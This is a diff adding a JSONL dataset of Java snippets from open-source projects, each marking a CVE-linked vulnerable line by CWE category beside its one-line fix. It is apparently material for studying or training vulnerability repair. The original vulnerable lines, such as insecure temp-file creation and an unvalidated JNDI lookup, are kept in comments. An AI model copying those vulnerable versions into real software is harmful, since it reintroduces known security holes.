diff --git a/data/cve_single_line_fixes.jsonl b/data/cve_single_line_fixes.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a651e5202c9efddced72c7e6e3ad4bb3a4d5654b --- /dev/null +++ b/data/cve_single_line_fixes.jsonl @@ -0,0 +1,435 @@ +{"language": "java", "text": "ledger.besu.evm.operation;\n\nimport static org.apache.tuweni.bytes.Bytes32.leftPad;\n\nimport org.hyperledger.besu.evm.EVM;\nimport org.hyperledger.besu.evm.frame.MessageFrame;\nimport org.hyperledger.besu.evm.gascalculator.GasCalculator;\n\nimport org.apache.tuweni.bytes.Bytes;\nimport org.apache.tuweni.units.bigints.UInt256;\n\npublic class ShlOperation extends AbstractFixedCostOperation {\n\n public ShlOperation(final GasCalculator gasCalculator) {\n super(0x1b, \"SHL\", 2, 1, 1, gasCalculator, gasCalculator.getVeryLowTierGasCost());\n }\n\n @Override\n public Operation.OperationResult executeFixedCostOperation(\n final MessageFrame frame, final EVM evm) {\n Bytes shiftAmount = frame.popStackItem();\n if (shiftAmount.size() > 4 && (shiftAmount = shiftAmount.trimLeadingZeros()).size() > 4) {\n frame.popStackItem();\n frame.pushStackItem(UInt256.ZERO);\n } else {\n final int shiftAmountInt = shiftAmount.toInt();\n final Bytes value = leftPad(frame.popStackItem());\n // BUG: CWE-681 Incorrect Conversion between Numeric Types\n // if (shiftAmountInt >= 256) {\n // FIXED: \n if (shiftAmountInt >= 256 || shiftAmountInt < 0) {\n frame.pushStackItem(UInt256.ZERO);\n } else {\n frame.pushStackItem(value.shiftLeft(shiftAmountInt));\n }\n }\n return successResponse;\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "NG FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.data.game.ClientRequest;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.ClientRequestPacket;\nimport com.nukkitx.math.vector.Vector3f;\nimport com.nukkitx.protocol.bedrock.packet.MovePlayerPacket;\nimport com.nukkitx.protocol.bedrock.packet.RespawnPacket;\nimport com.nukkitx.protocol.bedrock.packet.SetEntityDataPacket;\nimport org.geysermc.connector.entity.player.PlayerEntity;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n@Translator(packet = RespawnPacket.class)\npublic class BedrockRespawnTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(RespawnPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, RespawnPacket packet) {\n if (packet.getState() == RespawnPacket.State.CLIENT_READY) {\n // Previously we only sent the respawn packet before the server finished loading\n // The message included was 'Otherwise when immediate respawn is on the client never loads'\n // But I assume the new if statement below fixes that problem\n RespawnPacket respawnPacket = new RespawnPacket();\n respawnPacket.setRuntimeEntityId(0);\n respawnPacket.setPosition(Vector3f.ZERO);\n respawnPacket.setState(RespawnPacket.State.SERVER_READY);\n session.sendUpstreamPacket(respawnPacket);\n\n if (session.isSpawned()) {\n // Client might be stuck; resend spawn information\n PlayerEntity entity = session.getPlayerEntity();\n if (entity == null) return;\n SetEntityDataPacket entityDataPacket = new SetEntityDataPacket();\n entityDataPacket.setRuntimeEntityId(entity.getGeyserId());\n entityDataPacket.getMetadata().putAll(entity.getMetadata());\n session.sendUpstreamPacket(enti<|endoftext|>"} +{"language": "java", "text": "(FormLink) source).getCmd().equals(\"viewQuality\")) {\n\t\t\tif (cmc == null) {\n\t\t\t\t// initialize preview controller only once\n\t\t\t\tpreviewVC = createVelocityContainer(\"video_preview\");\n\t\t\t\tcmc = new CloseableModalController(getWindowControl(), \"close\", previewVC);\n\t\t\t\tlistenTo(cmc);\n\t\t\t}\n\t\t}\n\t\tsuper.event(ureq, source, event);\n\t}\n\t\n\t@Override\n\tprotected void formInnerEvent(UserRequest ureq, FormItem source, FormEvent event) {\n\t\tif (source instanceof FormLink && ((FormLink) source).getCmd().equals(\"viewQuality\")) {\n\t\t\tif (cmc == null) {\n\t\t\t\t// initialize preview controller only once\n\t\t\t\tpreviewVC = createVelocityContainer(\"video_preview\");\n\t\t\t\tcmc = new CloseableModalController(getWindowControl(), \"close\", previewVC);\n\t\t\t\tlistenTo(cmc);\n\t\t\t}\n\t\t\t// Get the user object from the link to access version object\n\t\t\tFormLink link = (FormLink) source;\n\t\t\tVideoTranscoding videoTranscoding = (VideoTranscoding) link.getUserObject();\n\t\t\tif (videoTranscoding == null) {\n\t\t\t\t// this is the master video\n\t\t\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t\t\t// VideoMetadata videoMetadata = videoManager.readVideoMetadataFile(videoResource);\n\t\t\t\t// FIXED: \n\t\t\t\tVideoMeta videoMetadata = videoManager.getVideoMetadata(videoResource);\n\t\t\t\tpreviewVC.contextPut(\"width\", videoMetadata.getWidth());\n\t\t\t\tpreviewVC.contextPut(\"height\", videoMetadata.getHeight());\n\t\t\t\tpreviewVC.contextPut(\"filename\", \"video.mp4\");\n\t\t\t\tVFSContainer container = videoManager.getMasterContainer(videoResource);\n\t\t\t\tString transcodedUrl = registerMapper(ureq, new VideoMediaMapper(container));\n\t\t\t\tpreviewVC.contextPut(\"mediaUrl\", transcodedUrl);\n\t\t\t} else {\n\t\t\t\t// this is a version\n\t\t\t\tpreviewVC.contextPut(\"width\", videoTranscoding.getWidth());\n\t\t\t\tpreviewVC.contextPut(\"height\", videoTranscoding.getHeight());\n\t\t\t\tpreviewVC.contextPut(\"filename\", videoTranscoding.getResolution() + \"video.mp4\");\n\t\t\t\tVFSContainer container = videoManager.getTranscodingContainer(videoResource);\n\t\t\t\tString transcodedUrl = registerMapper(ureq, new VideoMediaMapper(container));\n\t\t\t\tpreviewVC.contextPut(\"mediaUrl\", transcodedUrl);\n\t\t\t}\n\t\t\t// activate dialog to bring it in front\n\t\t\tcmc.activate();\n\t\t} else if (source instanceof FormLink && ((FormLink) source).getCmd().equals(\"deleteQuality\")) {\n\t\t\tFormLink link = (FormLink) source;\n\t\t\tVideoTranscoding videoTranscoding = (VideoTranscoding) link.g<|endoftext|>"} +{"language": "java", "text": "tinuity.PluginsList;\nimport com.thoughtworks.go.addon.businesscontinuity.primary.ServerStatusResponse;\nimport com.thoughtworks.go.addon.businesscontinuity.primary.service.GoFilesStatusProvider;\nimport com.thoughtworks.go.util.SystemEnvironment;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.apache.commons.io.IOUtils.copy;\nimport static org.apache.commons.lang3.StringUtils.isBlank;\nimport static org.apache.commons.lang3.StringUtils.isEmpty;\n\n@Controller\n@SuppressWarnings(\"WeakerAccess\")\n// BUG: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n// @RequestMapping(value = \"/add-on/business-continuity/api\")\n// FIXED:\npublic class PrimaryStatusProviderController {\n\n private GoFilesStatusProvider goFilesStatusProvider;\n private DatabaseStatusProvider databaseStatusProvider;\n private final SystemEnvironment systemEnvironment;\n private PluginsList pluginsList;\n\n @Autowired\n public PrimaryStatusProviderController(GoFilesStatusProvider goFilesStatusProvider, DatabaseStatusProvider databaseStatusProvider, PluginsList pluginsList, SystemEnvironment systemEnvironment) {\n this.goFilesStatusProvider = goFilesStatusProvider;\n this.databaseStatusProvider = databaseStatusProvider;\n this.pluginsList = pluginsList;\n this.systemEnvironment = systemEnvironment;\n }\n\n @RequestMapping(value = \"/health-check\", method = RequestMethod.GET)\n @ResponseBody\n public String healthCheck() {\n return \"OK!\";\n }\n\n @RequestMapping(value = \"/latest_database_wal_location\", method = RequestMethod.GET)\n @ResponseBody\n public String latestDatabaseWalLocation() {\n return databaseStatusProvider.latestWalLocation();\n }\n\n @RequestMapping(value = \"/config_files_status\", method = RequestMethod.GET)\n public void latestStatus(HttpServletResponse respon<|endoftext|>"} +{"language": "java", "text": "rameters}, which need to create a target datum. The\n * target datum could have its own Bursa-Wolf parameters, with one of them pointing again to the\n * source datum.\n */\n private final Set safetyGuard = new HashSet<>();\n\n public AbstractEpsgFactory(final Hints userHints) throws FactoryException {\n super(MAXIMUM_PRIORITY - 20);\n // The following hints have no effect on this class behaviour,\n // but tell to the user what this factory do about axis order.\n hints.put(Hints.FORCE_LONGITUDE_FIRST_AXIS_ORDER, Boolean.FALSE);\n hints.put(Hints.FORCE_STANDARD_AXIS_DIRECTIONS, Boolean.FALSE);\n hints.put(Hints.FORCE_STANDARD_AXIS_UNITS, Boolean.FALSE);\n\n //\n // We need to obtain our DataSource\n if (userHints != null) {\n Object hint = userHints.get(Hints.EPSG_DATA_SOURCE);\n if (hint instanceof String) {\n String name = (String) hint;\n try {\n // BUG: CWE-20 Improper Input Validation\n // dataSource = (DataSource) GeoTools.getInitialContext().lookup(name);\n // FIXED: \n dataSource = (DataSource) GeoTools.jndiLookup(name);\n } catch (NamingException e) {\n throw new FactoryException(\"A EPSG_DATA_SOURCE hint is required:\" + e);\n }\n hints.put(Hints.EPSG_DATA_SOURCE, dataSource);\n } else if (hint instanceof DataSource) {\n dataSource = (DataSource) hint;\n hints.put(Hints.EPSG_DATA_SOURCE, dataSource);\n } else {\n throw new FactoryException(\"A EPSG_DATA_SOURCE hint is required.\");\n }\n } else {\n throw new FactoryException(\"A EPSG_DATA_SOURCE hint is required.\");\n }\n }\n\n public AbstractEpsgFactory(final Hints userHints, final javax.sql.DataSource dataSource) {\n super(MAXIMUM_PRIORITY - 20);\n\n this.dataSource = dataSource;\n // The following hints have no effect on this class behaviour,\n // but tell to the user what this factory do about axis order.\n hints.put(Hints.FORCE_LONGITUDE_FIRST_AXIS_ORDER, Boolean.FALSE);\n hints.put(Hints.FORCE_STANDARD_AXIS_DIRECTIONS, Boolean.FALSE);\n hints.put(Hints.FORCE_STANDARD_AXIS_UNITS, B<|endoftext|>"} +{"language": "java", "text": "ble law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations\n * under the License.\n */\npackage io.netty.handler.codec.http.multipart;\n\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.util.internal.PlatformDependent;\nimport org.junit.Test;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.UUID;\n\nimport static io.netty.util.CharsetUtil.UTF_8;\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertFalse;\n\n/**\n * {@link AbstractDiskHttpData} test cases\n */\npublic class AbstractDiskHttpDataTest {\n\n @Test\n public void testGetChunk() throws Exception {\n TestHttpData test = new TestHttpData(\"test\", UTF_8, 0);\n try {\n // BUG: CWE-378 Creation of Temporary File With Insecure Permissions\n // File tmpFile = File.createTempFile(UUID.randomUUID().toString(), \".tmp\");\n // FIXED: \n File tmpFile = PlatformDependent.createTempFile(UUID.randomUUID().toString(), \".tmp\", null);\n tmpFile.deleteOnExit();\n FileOutputStream fos = new FileOutputStream(tmpFile);\n byte[] bytes = new byte[4096];\n PlatformDependent.threadLocalRandom().nextBytes(bytes);\n try {\n fos.write(bytes);\n fos.flush();\n } finally {\n fos.close();\n }\n test.setContent(tmpFile);\n ByteBuf buf1 = test.getChunk(1024);\n assertEquals(buf1.readerIndex(), 0);\n assertEquals(buf1.writerIndex(), 1024);\n ByteBuf buf2 = test.getChunk(1024);\n assertEquals(buf2.readerIndex(), 0);\n assertEquals(buf2.writerIndex(), 1024);\n assertFalse(\"Arrays should not be equal\",\n Arrays.equals(ByteBufUtil.getBytes(buf1), ByteBufUtil.getBytes(buf2)));\n } finally {\n test.delete();\n }\n }\n\n private static final class TestHttpData extends AbstractDiskHttpData {\n\n private TestHttpData(String name, Charset charset, long size) {\n super(name, charset, size);\n <|endoftext|>"} +{"language": "java", "text": "bject> data = new HashMap();\n\t\tdata.put(\"resource_type\", \"image\");\n\t\tdata.put(\"public_id\", publicId);\n\t\tdata.put(\"upload_preset\", preset);\n\t\tdata.put(\"filename\", id);\n\t\tdata.put(\"timestamp\", timestamp);\n\t\tdata.put(\"api_key\", cloudinary.config.apiKey);\n\t\tdata.put(\"signature\", signature);\n\t\tresponse.put(\"data\", data);\n\n\t\treturn ResponseEntity.ok().body(response);\n\t}\n\n\tprivate Profile getProfileForEditing(String id, Profile authUser) {\n\t\tif (!canEditProfile(authUser, id)) {\n\t\t\treturn null;\n\t\t}\n\t\treturn isMyid(authUser, id) ? authUser : (Profile) utils.getParaClient().read(Profile.id(id));\n\t}\n\n\tprivate boolean updateUserPictureAndName(Profile showUser, String picture, String name) {\n\t\tboolean updateProfile = false;\n\t\tboolean updateUser = false;\n\t\tUser u = showUser.getUser();\n\n\t\tif (CONF.avatarEditsEnabled() && !StringUtils.isBlank(picture)) {\n\t\t\tupdateProfile = avatarRepository.store(showUser, picture);\n\t\t}\n\n\t\tif (CONF.nameEditsEnabled() && !StringUtils.isBlank(name)) {\n\t\t\t// BUG: NVD-CWE-Other Other\n\t\t\t// showUser.setName(name);\n\t\t\t// FIXED:\n\t\t\tshowUser.setName(StringUtils.abbreviate(name, 256));\n\t\t\tif (StringUtils.isBlank(showUser.getOriginalName())) {\n\t\t\t\tshowUser.setOriginalName(name);\n\t\t\t}\n\t\t\tif (!u.getName().equals(name)) {\n\t\t\t\tu.setName(name);\n\t\t\t\tupdateUser = true;\n\t\t\t}\n\t\t\tupdateProfile = true;\n\t\t}\n\n\t\tif (updateUser) {\n\t\t\tutils.getParaClient().update(u);\n\t\t}\n\t\treturn updateProfile;\n\t}\n\n\tprivate boolean isMyid(Profile authUser, String id) {\n\t\treturn authUser != null && (StringUtils.isBlank(id) || authUser.getId().equals(Profile.id(id)));\n\t}\n\n\tprivate boolean canEditProfile(Profile authUser, String id) {\n\t\treturn isMyid(authUser, id) || utils.isAdmin(authUser);\n\t}\n\n\tprivate Object getUserDescription(Profile showUser, Long questions, Long answers) {\n\t\tif (showUser == null) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn showUser.getVotes() + \" points, \"\n\t\t\t\t+ showUser.getBadgesMap().size() + \" badges, \"\n\t\t\t\t+ questions + \" questions, \"\n\t\t\t\t+ answers + \" answers \"\n\t\t\t\t+ Utils.abbreviate(showUser.getAboutme(), 150);\n\t}\n\n\tpublic List getQuestions(Profile authUser, Profile showUser, boolean isMyProfile, Pager itemcount) {\n\t\tif (utils.postsNeedApproval() && (isMyProfile || utils.isMod(authUser))) {\n\t\t\tList qlist = <|endoftext|>"} +{"language": "java", "text": ".connector.GeyserConnector;\nimport org.geysermc.connector.common.ChatColor;\nimport org.geysermc.connector.entity.player.SessionPlayerEntity;\nimport org.geysermc.connector.entity.type.EntityType;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n@Translator(packet = MovePlayerPacket.class)\npublic class BedrockMovePlayerTranslator extends PacketTranslator {\n /* The upper and lower bounds to check for the void floor that only exists in Bedrock */\n private static final int BEDROCK_OVERWORLD_VOID_FLOOR_UPPER_Y;\n private static final int BEDROCK_OVERWORLD_VOID_FLOOR_LOWER_Y;\n\n static {\n BEDROCK_OVERWORLD_VOID_FLOOR_UPPER_Y = GeyserConnector.getInstance().getConfig().isExtendedWorldHeight() ? -104 : -40;\n BEDROCK_OVERWORLD_VOID_FLOOR_LOWER_Y = BEDROCK_OVERWORLD_VOID_FLOOR_UPPER_Y + 2;\n }\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(MovePlayerPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, MovePlayerPacket packet) {\n SessionPlayerEntity entity = session.getPlayerEntity();\n if (!session.isSpawned()) return;\n\n if (!session.getUpstream().isInitialized()) {\n MoveEntityAbsolutePacket moveEntityBack = new MoveEntityAbsolutePacket();\n moveEntityBack.setRuntimeEntityId(entity.getGeyserId());\n moveEntityBack.setPosition(entity.getPosition());\n moveEntityBack.setRotation(entity.getBedrockRotation());\n moveEntityBack.setTeleported(true);\n moveEntityBack.setOnGround(true);\n session.sendUpstreamPacketImmediately(moveEntityBack);\n return;\n }\n\n session.setLastMovementTimestamp(System.currentTimeMillis());\n\n // Send book update before the player moves\n session.getBookEditCache().checkForSend();\n\n session.confirmTeleport(packet.getPosition().toDouble().sub(0, EntityType.PLAYER.getOffset(), 0));\n // head yaw, pitch, head yaw\n Vector3f rotation = Vector3f.from(packet.getRotation().getY(), packet.getRotation().getX(), packet.getRotation().getY());\n\n boolean positionChanged = !e<|endoftext|>"} +{"language": "java", "text": "sed to send all valid recipes from Java to Bedrock.\n *\n * Bedrock REQUIRES a CraftingDataPacket to be sent in order to craft anything.\n */\n@Translator(packet = ServerDeclareRecipesPacket.class)\npublic class JavaDeclareRecipesTranslator extends PacketTranslator {\n /**\n * Required to use the specified cartography table recipes\n */\n private static final List CARTOGRAPHY_RECIPES = Arrays.asList(\n CraftingData.fromMulti(UUID.fromString(\"8b36268c-1829-483c-a0f1-993b7156a8f2\"), ++LAST_RECIPE_NET_ID), // Map extending\n CraftingData.fromMulti(UUID.fromString(\"442d85ed-8272-4543-a6f1-418f90ded05d\"), ++LAST_RECIPE_NET_ID), // Map cloning\n CraftingData.fromMulti(UUID.fromString(\"98c84b38-1085-46bd-b1ce-dd38c159e6cc\"), ++LAST_RECIPE_NET_ID), // Map upgrading\n CraftingData.fromMulti(UUID.fromString(\"602234e4-cac1-4353-8bb7-b1ebff70024b\"), ++LAST_RECIPE_NET_ID) // Map locking\n );\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerDeclareRecipesPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ServerDeclareRecipesPacket packet) {\n Map> recipeTypes = Registries.CRAFTING_DATA.forVersion(session.getUpstream().getProtocolVersion());\n // Get the last known network ID (first used for the pregenerated recipes) and increment from there.\n int netId = InventoryUtils.LAST_RECIPE_NET_ID + 1;\n\n Int2ObjectMap recipeMap = new Int2ObjectOpenHashMap<>(Registries.RECIPES.forVersion(session.getUpstream().getProtocolVersion()));\n Int2ObjectMap> unsortedStonecutterData = new Int2ObjectOpenHashMap<>();\n CraftingDataPacket craftingDataPacket = new CraftingDataPacket();\n craftingDataPacket.setCleanRecipes(true);\n for (Recipe recipe : packet.getRecipes()) {\n switch (recipe.getType()) {\n case CRAFTING_SHAPELESS: {\n ShapelessRecipeData shapelessRecipeData = (ShapelessRecipeData) recipe.getData();\n ItemData output = ItemTranslator.translateToBedrock(session, shapelessRecipeData.getResult());\n // Strip NBT - tools won't appear in the recipe book oth<|endoftext|>"} +{"language": "java", "text": "erface ConvertibleValues extends ValueResolver, Iterable> {\n\n ConvertibleValues EMPTY = new ConvertibleValuesMap<>(Collections.emptyMap());\n\n /**\n * @return The names of the values\n */\n Set names();\n\n /**\n * @return The values\n */\n Collection values();\n\n /**\n * @return Whether this values is empty\n */\n default boolean isEmpty() {\n return this == ConvertibleValues.EMPTY || names().isEmpty();\n }\n\n /**\n * @return The concrete type of the value\n */\n @SuppressWarnings(\"unchecked\")\n default Class getValueType() {\n Optional type = GenericTypeUtils.resolveInterfaceTypeArgument(getClass(), ConvertibleValues.class);\n return type.orElse(Object.class);\n }\n\n /**\n * Whether the given key is contained within these values.\n *\n * @param name The key name\n * @return True if it is\n */\n default boolean contains(String name) {\n // BUG: CWE-400 Uncontrolled Resource Consumption\n // return get(name, Object.class).isPresent();\n // FIXED: \n return get(name, Argument.OBJECT_ARGUMENT).isPresent();\n }\n\n /**\n * Performs the given action for each value. Note that in the case\n * where multiple values exist for the same header then the consumer will be invoked\n * multiple times for the same key.\n *\n * @param action The action to be performed for each entry\n * @throws NullPointerException if the specified action is null\n * @since 1.0\n */\n default void forEach(BiConsumer action) {\n Objects.requireNonNull(action, \"Consumer cannot be null\");\n\n Collection headerNames = names();\n for (String headerName : headerNames) {\n Optional vOptional = this.get(headerName, getValueType());\n vOptional.ifPresent(v -> action.accept(headerName, v));\n }\n }\n\n /**\n * Return this {@link ConvertibleValues} as a map for the given key type and value type. The map represents a copy of the data held by this instance.\n *\n * @return The values\n */\n default Map asMap() {\n Map newMap = new LinkedHashMap<>();\n for (Map.Entry entry : this) {\n String key = entry.<|endoftext|>"} +{"language": "java", "text": "bsite;\n\t}\n\n\tpublic Long getComments() {\n\t\treturn comments;\n\t}\n\n\tpublic void setComments(Long comments) {\n\t\tthis.comments = comments;\n\t}\n\n\tpublic Long getDownvotes() {\n\t\treturn downvotes;\n\t}\n\n\tpublic void setDownvotes(Long downvotes) {\n\t\tthis.downvotes = downvotes;\n\t}\n\n\tpublic Long getUpvotes() {\n\t\treturn upvotes;\n\t}\n\n\tpublic void setUpvotes(Long upvotes) {\n\t\tthis.upvotes = upvotes;\n\t}\n\n\tpublic String getBadges() {\n\t\treturn badges;\n\t}\n\n\tpublic void setBadges(String badges) {\n\t\tthis.badges = badges;\n\t}\n\n\tpublic String getLocation() {\n\t\treturn location;\n\t}\n\n\tpublic void setLocation(String location) {\n\t\tthis.location = location;\n\t}\n\n\tpublic String getStatus() {\n\t\treturn status;\n\t}\n\n\tpublic void setStatus(String status) {\n\t\tthis.status = status;\n\t}\n\n\tpublic String getAboutme() {\n\t\treturn this.aboutme;\n\t}\n\n\tpublic void setAboutme(String aboutme) {\n\t\tthis.aboutme = aboutme;\n\t}\n\n\tpublic String getOriginalName() {\n\t\treturn originalName;\n\t}\n\n\tpublic void setOriginalName(String originalName) {\n\t\t// BUG: NVD-CWE-Other Other\n\t\t// this.originalName = originalName;\n\t\t// FIXED: \n\t\tthis.originalName = StringUtils.abbreviate(originalName, 256);\n\t}\n\n\tpublic String getOriginalPicture() {\n\t\treturn originalPicture;\n\t}\n\n\tpublic void setOriginalPicture(String originalPicture) {\n\t\tthis.originalPicture = originalPicture;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List getAllQuestions(Pager pager) {\n\t\tif (getId() == null) {\n\t\t\treturn new ArrayList();\n\t\t}\n\t\treturn (List) getPostsForUser(Utils.type(Question.class), pager);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List getAllAnswers(Pager pager) {\n\t\tif (getId() == null) {\n\t\t\treturn new ArrayList();\n\t\t}\n\t\treturn (List) getPostsForUser(Utils.type(Reply.class), pager);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List getAllUnapprovedQuestions(Pager pager) {\n\t\tif (getId() == null) {\n\t\t\treturn new ArrayList();\n\t\t}\n\t\treturn (List) getPostsForUser(Utils.type(UnapprovedQuestion.class), pager);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List getAllUnapprovedAnswers(Pager pager) {\n\t\tif (getId() == null) {\n\t\t\treturn new ArrayList();\n\t\t}\n\t\treturn (List) getPostsForUser(Utils.type(UnapprovedReply.class), pager);\n\t}\n\n\tprivate Lis<|endoftext|>"} +{"language": "java", "text": "guration.getUserLoginFilter(), new String[]{username}, MAX_AUTHENTICATION_RESULT, true);\n\n if (results.isEmpty()) {\n throw new RuntimeException(format(\"User {0} does not exist in {1}\", username, ldapConfiguration.getLdapUrlAsString()));\n }\n\n SearchResult searchResult = results.get(0);\n Attributes attributes = searchResult.getAttributes();\n String userDn = searchResult.getNameInNamespace();\n attributes.put(new BasicAttribute(\"dn\", userDn));\n authenticate(ldapConfiguration, userDn, password);\n return mapper.mapObject(new ResultWrapper(attributes));\n\n } catch (SearchResultLimitExceededException e) {\n throw new MultipleUserDetectedException(username, e.getSearchBase(), ldapConfiguration.getUserLoginFilter());\n } catch (NamingException e) {\n throw new LdapException(e);\n } finally {\n closeContextSilently(dirContext);\n }\n }\n // BUG: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')\n // public List search(String filter, Object[] filterArgs, Mapper mapper, int maxResult) {\n // FIXED:\n public List search(String filter, String[] filterArgs, Mapper mapper, int maxResult) {\n \n List results = new ArrayList<>();\n DirContext dirContext = getDirContext(ldapConfiguration, ldapConfiguration.getManagerDn(), ldapConfiguration.getPassword());\n\n try {\n List searchResults = search(dirContext, filter, filterArgs, maxResult, false);\n\n for (SearchResult result : searchResults) {\n results.add(mapper.mapObject(new ResultWrapper(result.getAttributes())));\n }\n } catch (NamingException e) {\n throw new LdapException(e);\n } finally {\n closeContextSilently(dirContext);\n }\n\n return results;\n }\n\n private final DirContext getDirContext(LdapConfiguration ldapConfiguration, String username, String password) {\n Hashtable environments = new Environment(ldapConfiguration).getEnvironments();\n if (isNotBlank(username)) {\n environments.put(SECURITY_PRINCIPAL, username);\n environments.put(SECURITY_CREDENTIALS, password);\n }\n\n InitialDirContext context = null;\n\n try {\n <|endoftext|>"} +{"language": "java", "text": "t.binding\";\n String SAML_SERVER_SIGNATURE = \"saml.server.signature\";\n String SAML_SERVER_SIGNATURE_KEYINFO_EXT = \"saml.server.signature.keyinfo.ext\";\n String SAML_SERVER_SIGNATURE_KEYINFO_KEY_NAME_TRANSFORMER = \"saml.server.signature.keyinfo.xmlSigKeyInfoKeyNameTransformer\";\n String SAML_FORCE_POST_BINDING = \"saml.force.post.binding\";\n String SAML_ASSERTION_SIGNATURE = \"saml.assertion.signature\";\n String SAML_ENCRYPT = \"saml.encrypt\";\n String SAML_CLIENT_SIGNATURE_ATTRIBUTE = \"saml.client.signature\";\n String SAML_SIGNING_CERTIFICATE_ATTRIBUTE = \"saml.signing.\" + CertificateInfoHelper.X509CERTIFICATE;\n String SAML_ENCRYPTION_CERTIFICATE_ATTRIBUTE = \"saml.encryption.\" + CertificateInfoHelper.X509CERTIFICATE;\n String SAML_ENCRYPTION_PRIVATE_KEY_ATTRIBUTE = \"saml.encryption.\" + CertificateInfoHelper.PRIVATE_KEY;\n String SAML_ASSERTION_LIFESPAN = \"saml.assertion.lifespan\";\n String SAML_ARTIFACT_BINDING_IDENTIFIER = \"saml.artifact.binding.identifier\";\n // BUG: CWE-287 Improper Authentication\n // \n // FIXED:\n String SAML_ALLOW_ECP_FLOW = \"saml.allow.ecp.flow\";\n}\n<|endoftext|>"} +{"language": "java", "text": "null, 0);\n try {\n assertNull(f1.getFile());\n f1.setContent(Unpooled.wrappedBuffer(bytes));\n assertNotNull(tmpFile = f1.getFile());\n } finally {\n f1.delete();\n assertNull(f1.getFile());\n assertNotNull(tmpFile);\n assertFalse(tmpFile.exists());\n }\n }\n\n @Test\n public void setSetContentFromFileExceptionally() throws Exception {\n final long maxSize = 4;\n DiskFileUpload f1 = new DiskFileUpload(\"file5\", \"file5\", \"application/json\", null, null, 0);\n f1.setMaxSize(maxSize);\n try {\n f1.setContent(Unpooled.wrappedBuffer(new byte[(int) maxSize]));\n File originalFile = f1.getFile();\n assertNotNull(originalFile);\n assertEquals(maxSize, originalFile.length());\n assertEquals(maxSize, f1.length());\n byte[] bytes = new byte[8];\n PlatformDependent.threadLocalRandom().nextBytes(bytes);\n // BUG: CWE-378 Creation of Temporary File With Insecure Permissions\n // File tmpFile = File.createTempFile(UUID.randomUUID().toString(), \".tmp\");\n // FIXED: \n File tmpFile = PlatformDependent.createTempFile(UUID.randomUUID().toString(), \".tmp\", null);\n tmpFile.deleteOnExit();\n FileOutputStream fos = new FileOutputStream(tmpFile);\n try {\n fos.write(bytes);\n fos.flush();\n } finally {\n fos.close();\n }\n try {\n f1.setContent(tmpFile);\n fail(\"should not reach here!\");\n } catch (IOException e) {\n assertNotNull(f1.getFile());\n assertEquals(originalFile, f1.getFile());\n assertEquals(maxSize, f1.length());\n }\n } finally {\n f1.delete();\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": " NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.nukkitx.protocol.bedrock.packet.ClientboundMapItemDataPacket;\nimport com.nukkitx.protocol.bedrock.packet.MapInfoRequestPacket;\nimport org.geysermc.connector.GeyserConnector;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport java.util.concurrent.TimeUnit;\n\n@Translator(packet = MapInfoRequestPacket.class)\npublic class BedrockMapInfoRequestTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(MapInfoRequestPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, MapInfoRequestPacket packet) {\n long mapId = packet.getUniqueMapId();\n\n ClientboundMapItemDataPacket mapPacket = session.getStoredMaps().remove(mapId);\n if (mapPacket != null) {\n // Delay the packet 100ms to prevent the client from ignoring the packet\n 